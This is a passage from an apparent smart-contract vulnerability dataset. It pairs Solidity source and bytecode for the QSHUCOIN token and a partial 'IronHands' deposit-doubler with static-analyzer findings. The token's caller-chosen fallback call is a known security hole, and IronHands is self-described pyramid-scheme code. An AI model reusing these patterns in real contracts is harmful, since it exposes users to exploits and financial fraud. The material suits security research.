eded4af96b504e419f081236022fb56a12c948186e8e3958ecd070029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,886 |
0x28be79bd9ac609876b03f692d8d85278d8cbc2f3 | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function div(uint256 x, uint256 y) internal pure returns (uint256) {
// assert(y > 0);//Solidity automatically throws when dividing by 0
uint256 z = x / y;
// assert(x == y * z + x % y); // There is no case in which this doesn`t hold
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
return x - y;
}
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control function,this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
*
* @dev The Ownable constructor sets the original 'owner' of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* newQSHUCOIN
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens newQSHUCOIN
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title newQSHUCOIN
* @dev QSHUCOIN is an ERC223 Token with ERC20 functions and events
* Wishing for circulation of QSHUCOIN!
* I wish for prosperity for a long time!
* Flapping from Kyusyu to the world!
* We will work with integrity and sincerity!
* ARIGATOH!
*/
contract QSHUCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "QSHUCOIN";
string public symbol = "QSHC";
uint8 public decimals = 8;
uint256 public totalSupply = 50e9 * 1e8;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
/**
* @dev Constructor is called only once and can not be called again
*/
function QSHUCOIN() public {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function qshdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
return true;
}
function qshdrop(address[] addresses, uint256[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
return true;
}
function() payable public {
}
}
/**
* My thought is strong!
* The reconstruction of Kyusyu is the power of everyone!
*/ | 0x6060604052600436106100f85763ffffffff60e060020a60003504166306fdde0381146100fa578063095ea7b31461018457806318160ddd146101ba578063220e5d06146101df57806323b872dd1461026e5780632e10813314610296578063313ce567146102e757806364ddc6051461031057806370a082311461039f5780638da5cb5b146103be57806395d89b41146103ed5780639dc29fac14610400578063a9059cbb14610422578063b414d4b614610444578063be45fd6214610463578063c341b9f6146104c8578063cbbe974b1461051b578063dd62ed3e1461053a578063f2fde38b1461055f578063f6368f8a1461057e575b005b341561010557600080fd5b61010d610625565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610149578082015183820152602001610131565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101a6600160a060020a03600435166024356106cd565b604051901515815260200160405180910390f35b34156101c557600080fd5b6101cd610739565b60405190815260200160405180910390f35b34156101ea57600080fd5b6101a660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061073f95505050505050565b341561027957600080fd5b6101a6600160a060020a0360043581169060243516604435610a43565b34156102a157600080fd5b6101a660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610c5292505050565b34156102f257600080fd5b6102fa610e92565b60405160ff909116815260200160405180910390f35b341561031b57600080fd5b6100f8600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610e9b95505050505050565b34156103aa57600080fd5b6101cd600160a060020a0360043516610ff5565b34156103c957600080fd5b6103d1611010565b604051600160a060020a03909116815260200160405180910390f35b34156103f857600080fd5b61010d61101f565b341561040b57600080fd5b6100f8600160a060020a0360043516602435611092565b341561042d57600080fd5b6101a6600160a060020a036004351660243561117a565b341561044f57600080fd5b6101a6600160a060020a0360043516611255565b341561046e57600080fd5b6101a660048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061126a95505050505050565b34156104d357600080fd5b6100f860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506113359050565b341561052657600080fd5b6101cd600160a060020a0360043516611437565b341561054557600080fd5b6101cd600160a060020a0360043581169060243516611449565b341561056a57600080fd5b6100f8600160a060020a0360043516611474565b341561058957600080fd5b6101a660048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061150f95505050505050565b61062d611cd8565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c35780601f10610698576101008083540402835291602001916106c3565b820191906000526020600020905b8154815290600101906020018083116106a657829003601f168201915b5050505050905090565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000806000808551118015610755575083518551145b801561077a5750600160a060020a03331660009081526008602052604090205460ff16155b801561079d5750600160a060020a03331660009081526009602052604090205442115b15156107a857600080fd5b5060009050805b84518110156108ba5760008482815181106107c657fe5b906020019060200201511180156107fa57508481815181106107e457fe5b90602001906020020151600160a060020a031615155b801561083a57506008600086838151811061081157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561087f57506009600086838151811061085157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561088a57600080fd5b6108b084828151811061089957fe5b90602001906020020151839063ffffffff61187416565b91506001016107af565b600160a060020a033316600090815260066020526040902054829010156108e057600080fd5b5060005b8451811015610a385761092b8482815181106108fc57fe5b90602001906020020151600160a060020a0333166000908152600660205260409020549063ffffffff61188316565b600160a060020a03331660009081526006602052604090205561099d84828151811061095357fe5b906020019060200201516006600088858151811061096d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61187416565b600660008784815181106109ad57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106109dd57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611ceb833981519152868481518110610a1557fe5b9060200190602002015160405190815260200160405180910390a36001016108e4565b506001949350505050565b6000600160a060020a03831615801590610a5d5750600082115b8015610a825750600160a060020a038416600090815260066020526040902054829010155b8015610ab55750600160a060020a0380851660009081526007602090815260408083203390941683529290522054829010155b8015610ada5750600160a060020a03841660009081526008602052604090205460ff16155b8015610aff5750600160a060020a03831660009081526008602052604090205460ff16155b8015610b225750600160a060020a03841660009081526009602052604090205442115b8015610b455750600160a060020a03831660009081526009602052604090205442115b1515610b5057600080fd5b600160a060020a038416600090815260066020526040902054610b79908363ffffffff61188316565b600160a060020a038086166000908152600660205260408082209390935590851681522054610bae908363ffffffff61187416565b600160a060020a03808516600090815260066020908152604080832094909455878316825260078152838220339093168252919091522054610bf6908363ffffffff61188316565b600160a060020a0380861660008181526007602090815260408083203386168452909152908190209390935590851691600080516020611ceb8339815191529085905190815260200160405180910390a35060015b9392505050565b60008060008084118015610c67575060008551115b8015610c8c5750600160a060020a03331660009081526008602052604090205460ff16155b8015610caf5750600160a060020a03331660009081526009602052604090205442115b1515610cba57600080fd5b610ccc8551859063ffffffff61189516565b600160a060020a03331660009081526006602052604090205490925082901015610cf557600080fd5b5060005b8451811015610a3857848181518110610d0e57fe5b90602001906020020151600160a060020a031615801590610d63575060086000868381518110610d3a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610da8575060096000868381518110610d7a57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610db357600080fd5b600160a060020a033316600090815260066020526040902054610ddc908563ffffffff61188316565b600160a060020a0333166000908152600660208190526040822092909255610e0c91869188858151811061096d57fe5b60066000878481518110610e1c57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610e4c57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611ceb8339815191528660405190815260200160405180910390a3600101610cf9565b60045460ff1690565b60015460009033600160a060020a03908116911614610eb957600080fd5b60008351118015610ecb575081518351145b1515610ed657600080fd5b5060005b8251811015610ff057818181518110610eef57fe5b9060200190602002015160096000858481518110610f0957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610f3757600080fd5b818181518110610f4357fe5b9060200190602002015160096000858481518110610f5d57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610f8d57fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610fcd57fe5b9060200190602002015160405190815260200160405180910390a2600101610eda565b505050565b600160a060020a031660009081526006602052604090205490565b600154600160a060020a031681565b611027611cd8565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c35780601f10610698576101008083540402835291602001916106c3565b60015433600160a060020a039081169116146110ad57600080fd5b6000811180156110d65750600160a060020a038216600090815260066020526040902054819010155b15156110e157600080fd5b600160a060020a03821660009081526006602052604090205461110a908263ffffffff61188316565b600160a060020a038316600090815260066020526040902055600554611136908263ffffffff61188316565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000611184611cd8565b6000831180156111ad5750600160a060020a03331660009081526008602052604090205460ff16155b80156111d25750600160a060020a03841660009081526008602052604090205460ff16155b80156111f55750600160a060020a03331660009081526009602052604090205442115b80156112185750600160a060020a03841660009081526009602052604090205442115b151561122357600080fd5b61122c846118c0565b156112435761123c8484836118c8565b915061124e565b61123c848483611b38565b5092915050565b60086020526000908152604090205460ff1681565b600080831180156112945750600160a060020a03331660009081526008602052604090205460ff16155b80156112b95750600160a060020a03841660009081526008602052604090205460ff16155b80156112dc5750600160a060020a03331660009081526009602052604090205442115b80156112ff5750600160a060020a03841660009081526009602052604090205442115b151561130a57600080fd5b611313846118c0565b1561132a576113238484846118c8565b9050610c4b565b611323848484611b38565b60015460009033600160a060020a0390811691161461135357600080fd5b600083511161136157600080fd5b5060005b8251811015610ff05782818151811061137a57fe5b90602001906020020151600160a060020a0316151561139857600080fd5b81600860008584815181106113a957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106113e757fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a2600101611365565b60096020526000908152604090205481565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60015433600160a060020a0390811691161461148f57600080fd5b600160a060020a03811615156114a457600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115395750600160a060020a03331660009081526008602052604090205460ff16155b801561155e5750600160a060020a03851660009081526008602052604090205460ff16155b80156115815750600160a060020a03331660009081526009602052604090205442115b80156115a45750600160a060020a03851660009081526009602052604090205442115b15156115af57600080fd5b6115b8856118c0565b1561185e57600160a060020a033316600090815260066020526040902054849010156115e357600080fd5b600160a060020a03331660009081526006602052604090205461160c908563ffffffff61188316565b600160a060020a033381166000908152600660205260408082209390935590871681522054611641908563ffffffff61187416565b600160a060020a0386166000818152600660205260408082209390935590918490518082805190602001908083835b6020831061168f5780518252601f199092019160209182019101611670565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611720578082015183820152602001611708565b50505050905090810190601f16801561174d5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561176d57fe5b84600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156117e65780820151838201526020016117ce565b50505050905090810190601f1680156118135780820380516001836020036101000a031916815260200191505b50935050505060405180910390a384600160a060020a031633600160a060020a0316600080516020611ceb8339815191528660405190815260200160405180910390a350600161186c565b611869858585611b38565b90505b949350505050565b600082820183811015610c4b57fe5b60008282111561188f57fe5b50900390565b6000808315156118a8576000915061124e565b508282028284828115156118b857fe5b0414610c4b57fe5b6000903b1190565b600160a060020a0333166000908152600660205260408120548190849010156118f057600080fd5b600160a060020a033316600090815260066020526040902054611919908563ffffffff61188316565b600160a060020a03338116600090815260066020526040808220939093559087168152205461194e908563ffffffff61187416565b600160a060020a03861660008181526006602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119e75780820151838201526020016119cf565b50505050905090810190601f168015611a145780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a3457600080fd5b5af11515611a4157600080fd5b50505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611abd578082015183820152602001611aa5565b50505050905090810190601f168015611aea5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a384600160a060020a031633600160a060020a0316600080516020611ceb8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a03331660009081526006602052604081205483901015611b5e57600080fd5b600160a060020a033316600090815260066020526040902054611b87908463ffffffff61188316565b600160a060020a033381166000908152600660205260408082209390935590861681522054611bbc908463ffffffff61187416565b6006600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611c5e578082015183820152602001611c46565b50505050905090810190601f168015611c8b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a383600160a060020a031633600160a060020a0316600080516020611ceb8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204f7f9dd5ba035884a6df4e6273e2aabc54a0547e55d6f8ec514e32f6575f4be50029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,887 |
0xd69b75d5dc270e4f6cd664ac2354d12423c5ae9e | pragma solidity ^0.4.21;
/**
*
*
*
*
* ATTENTION!
*
* This code? IS NOT DESIGNED FOR ACTUAL USE.
*
* The author of this code really wishes you wouldn't send your ETH to it, but it's been
* done with P3D and there are very happy users because of it.
*
* No, seriously. It's probablly illegal anyway. So don't do it.
*
* Let me repeat that: Don't actually send money to this contract. You are
* likely breaking several local and national laws in doing so.
*
* This code is intended to educate. Nothing else. If you use it, expect S.W.A.T
* teams at your door. I wrote this code because I wanted to experiment
* with smart contracts, and I think code should be open source. So consider
* it public domain, No Rights Reserved. Participating in pyramid schemes
* is genuinely illegal so just don't even think about going beyond
* reading the code and understanding how it works.
*
* Seriously. I'm not kidding. It's probablly broken in some critical way anyway
* and will suck all your money out your wallet, install a virus on your computer
* sleep with your wife, kidnap your children and sell them into slavery,
* make you forget to file your taxes, and give you cancer.
*
*
* What it does:
*
* It takes 50% of the ETH in it and buys tokens.
* It takes 50% of the ETH in it and pays back depositors.
* Depositors get in line and are paid out in order of deposit, plus the deposit
* percent.
* The tokens collect dividends, which in turn pay into the payout pool
* to be split 50/50.
*
* If you're seeing this contract in it's initial configuration, it should be
* set to 200% (double deposits), and pointed at PoWH:
* 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe
*
* But you should verify this for yourself.
*
*
*/
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POOH {
function buy(address) public payable returns(uint256);
function withdraw() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract IronHands is Owned {
/**
* Modifiers
*/
/**
* Only owners are allowed.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* The tokens can never be stolen.
*/
modifier notPooh(address aContract){
require(aContract != address(weak_hands));
_;
}
/**
* Events
*/
event Deposit(uint256 amount, address depositer);
event Purchase(uint256 amountSpent, uint256 tokensReceived);
event Payout(uint256 amount, address creditor);
event Dividends(uint256 amount);
/**
* Structs
*/
struct Participant {
address etherAddress;
uint256 payout;
}
//Total ETH managed over the lifetime of the contract
uint256 throughput;
//Total ETH received from dividends
uint256 dividends;
//The percent to return to depositers. 100 for 00%, 200 to double, etc.
uint256 public multiplier;
//Where in the line we are with creditors
uint256 public payoutOrder = 0;
//How much is owed to people
uint256 public backlog = 0;
//The creditor line
Participant[] public participants;
//How much each person is owed
mapping(address => uint256) public creditRemaining;
//What we will be buying
POOH weak_hands;
/**
* Constructor
*/
function IronHands(uint multiplierPercent, address pooh) public {
multiplier = multiplierPercent;
weak_hands = POOH(pooh);
}
/**
* Fallback function allows anyone to send money for the cost of gas which
* goes into the pool. Used by withdraw/dividend payouts so it has to be cheap.
*/
function() payable public {
}
/**
* Deposit ETH to get in line to be credited back the multiplier as a percent,
* add that ETH to the pool, get the dividends and put them in the pool,
* then pay out who we owe and buy more tokens.
*/
function deposit() payable public {
//You have to send more than 1000000 wei.
require(msg.value > 1000000);
//Compute how much to pay them
uint256 amountCredited = (msg.value * multiplier) / 100;
//Get in line to be paid back.
participants.push(Participant(msg.sender, amountCredited));
//Increase the backlog by the amount owed
backlog += amountCredited;
//Increase the amount owed to this address
creditRemaining[msg.sender] += amountCredited;
//Emit a deposit event.
emit Deposit(msg.value, msg.sender);
//If I have dividends
if(myDividends() > 0){
//Withdraw dividends
withdraw();
}
//Pay people out and buy more tokens.
payout();
}
/**
* Take 50% of the money and spend it on tokens, which will pay dividends later.
* Take the other 50%, and use it to pay off depositors.
*/
function payout() public {
//Take everything in the pool
uint balance = address(this).balance;
//It needs to be something worth splitting up
require(balance > 1);
//Increase our total throughput
throughput += balance;
//Split it into two parts
uint investment = balance / 2;
//Take away the amount we are investing from the amount to send
balance -= investment;
//Invest it in more tokens.
uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender);
//Record that tokens were purchased
emit Purchase(investment, tokens);
//While we still have money to send
while (balance > 0) {
//Either pay them what they are owed or however much we have, whichever is lower.
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
//if we have something to pay them
if(payoutToSend > 0){
//subtract how much we've spent
balance -= payoutToSend;
//subtract the amount paid from the amount owed
backlog -= payoutToSend;
//subtract the amount remaining they are owed
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
//credit their account the amount they are being paid
participants[payoutOrder].payout -= payoutToSend;
//Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more.
if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){
//Record that they were paid
emit Payout(payoutToSend, participants[payoutOrder].etherAddress);
}else{
//undo the accounting, they are being skipped because they are not payable.
balance += payoutToSend;
backlog += payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend;
participants[payoutOrder].payout += payoutToSend;
}
}
//If we still have balance left over
if(balance > 0){
// go to the next person in line
payoutOrder += 1;
}
//If we've run out of people to pay, stop
if(payoutOrder >= participants.length){
return;
}
}
}
/**
* Number of tokens the contract owns.
*/
function myTokens() public view returns(uint256){
return weak_hands.myTokens();
}
/**
* Number of dividends owed to the contract.
*/
function myDividends() public view returns(uint256){
return weak_hands.myDividends(true);
}
/**
* Number of dividends received by the contract.
*/
function totalDividends() public view returns(uint256){
return dividends;
}
/**
* Request dividends be paid out and added to the pool.
*/
function withdraw() public {
uint256 balance = address(this).balance;
weak_hands.withdraw.gas(1000000)();
uint256 dividendsPaid = address(this).balance - balance;
dividends += dividendsPaid;
emit Dividends(dividendsPaid);
}
/**
* Number of participants who are still owed.
*/
function backlogLength() public view returns (uint256){
return participants.length - payoutOrder;
}
/**
* Total amount still owed in credit to depositors.
*/
function backlogAmount() public view returns (uint256){
return backlog;
}
/**
* Total number of deposits in the lifetime of the contract.
*/
function totalParticipants() public view returns (uint256){
return participants.length;
}
/**
